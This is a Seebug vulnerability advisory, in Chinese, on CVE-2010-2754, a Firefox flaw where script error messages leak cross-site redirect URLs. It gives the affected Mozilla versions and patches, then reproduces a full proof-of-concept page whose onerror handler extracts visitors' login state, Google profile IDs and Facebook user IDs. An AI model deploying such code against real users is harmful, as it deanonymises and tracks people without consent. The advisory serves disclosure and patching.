Mozilla Firefox出错消息脚本文件名信息泄露漏洞

2010-07-2700:00:00

Root

www.seebug.org

0.003 Low

EPSS

Percentile

64.9%

JSON

BUGTRAQ ID: 41860
CVE ID: CVE-2010-2754

Firefox是一款流行的开源WEB浏览器。

Firefox中的脚本出错处理方式会显示错误的来源，其中可能包含有敏感信息。假设 http://SampleSite.com/admin.asp 页面使用了以下逻辑：

1- 如果用户没有登录，重新定向到登录页面。
2- 如果用户不是管理员，重新定向到拒绝访问页面。
3- 如果用户为管理员，显示管理员菜单。

攻击者可以使用跨站URL劫持技术确认用户在SampleSite.com所处的状态，并继续执行有针对性的攻击。

Mozilla Firefox 3.6.x
Mozilla Firefox 3.5.x
Mozilla Thunderbird 3.1.x
Mozilla Thunderbird 3.0.x
Mozilla SeaMonkey < 2.0.6
厂商补丁：

Mozilla

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.mozilla.org/

RedHat

RedHat已经为此发布了一个安全公告（RHSA-2010:0546-01）以及相应补丁:
RHSA-2010:0546-01：Critical: seamonkey security update
链接：https://www.redhat.com/support/errata/RHSA-2010-0546.html


                                                XSUH (Cross Site URL Hijacking) Demo by Soroush Dalili - IRSDL at Yahoo d0t com
&lt;br/&gt;
Tested Platform: This technique has been tested on Mozilla Firefox 3.6.3, 3.5.9, 3.6.4build4.
&lt;br/&gt;
Blog: &lt;a href=&quot;http://soroush.secproject.com/blog/&quot;&gt;Click Here&lt;/a&gt;
&lt;br/&gt;
Mirror Blog: &lt;a href=&quot;http://irsdl1.wordpress.com&quot;&gt;Click Here&lt;/a&gt;
&lt;br/&gt;&lt;hr/&gt;
1.    Which Version of Yahoo Mail Are You Currently Using: &lt;b&gt;&lt;font color=&quot;#00FF11&quot;&gt;&lt;span id=&quot;yahooresult&quot;&gt;&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;
&lt;br/&gt;
2.    What Is Your Profile ID in Google.com: &lt;b&gt;&lt;font color=&quot;#7777FF&quot;&gt;&lt;span id=&quot;googleresult&quot;&gt;&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;
&lt;br/&gt;
3.    What Is Your Facebook User ID If You Play Farmville: &lt;b&gt;&lt;font color=&quot;#0077FF&quot;&gt;&lt;span id=&quot;fbresult&quot;&gt;&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;
&lt;br/&gt;
&lt;script&gt;
window.onerror=fnErrorTrap;
function fnErrorTrap(sMsg,sUrl,sLine){
    var msg = '';
    sUrl = unescape(sUrl);
    if(sUrl.indexOf('yahoo')&gt;0) // Yahoo
    {
        if(sUrl.indexOf('/dc/')&gt;0)
            msg = 'You Are Using New Version of Yahoo Mail!';
        else if(sUrl.indexOf('/mc/')&gt;0)
            msg = 'You Are Using Old Version of Yahoo Mail!';
        else
            msg = 'You Are Not Logged-in in Yahoo Mail!';
        document.getElementById('yahooresult').innerHTML = msg;
    }
    else if(sUrl.indexOf('google')&gt;0) //Google
    {
        if(sUrl.indexOf('/ServiceLogin')&gt;0)
            msg = 'You Are Not Logged-in in Google.com!';
        else if(sUrl.indexOf('/editprofile')&gt;0)
            msg = 'You Are Logged-in in Google.com But You Do Not Have Any Profile!';
        else if(sUrl.indexOf('/profiles/')&gt;0)
            msg = 'Your Profile ID In Google.com Is: '+sUrl.substring(sUrl.lastIndexOf('/')+1);
        else
            msg = 'You Are Logged-in in Google But I Cannot Find Your Profile ID!!!';
        document.getElementById('googleresult').innerHTML = msg;
    }else // Facebook
    {
        if(sUrl.indexOf('login.php')&gt;0)
            msg = 'You Are Not Logged-in in Facebook!';
        else if(sUrl.indexOf('tos.php')&gt;0)
            msg = 'WoW! You Do Not Play Farmville?!!';
        else if(sUrl.indexOf('xd_receiver.htm')&gt;0)
        {
            var temp = sUrl.substring(sUrl.indexOf('uid&quot;:'));
            msg = 'Your Facebook User ID Is: '+temp.substring(5,temp.indexOf(','));
        }
        else
            msg = 'I Cannot Get The Point!';
        document.getElementById('fbresult').innerHTML = msg;
    }
    return false;
}
if(!(/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent)))
    alert('Please use Mozilla Firefox');
else
{
    document.write('&lt;script src=&quot;http://mail.yahoo.com/&quot;&gt;&lt;\/script&gt;');
    document.write('&lt;script src=&quot;http://www.google.com/profiles/me&quot;&gt;&lt;\/script&gt;');
    document.write('&lt;script src=&quot;http://www.facebook.com/login.php?return_session=1&amp;nochrome=1&amp;fbconnect=1&amp;extern=2&amp;display=popup&amp;api_key=80c6ec6628efd9a465dd223190a65bbc&amp;v=1.0&amp;next=http://www.farmville.com/xd_receiver.htm&quot;&gt;&lt;\/script&gt;');
}
&lt;/script&gt;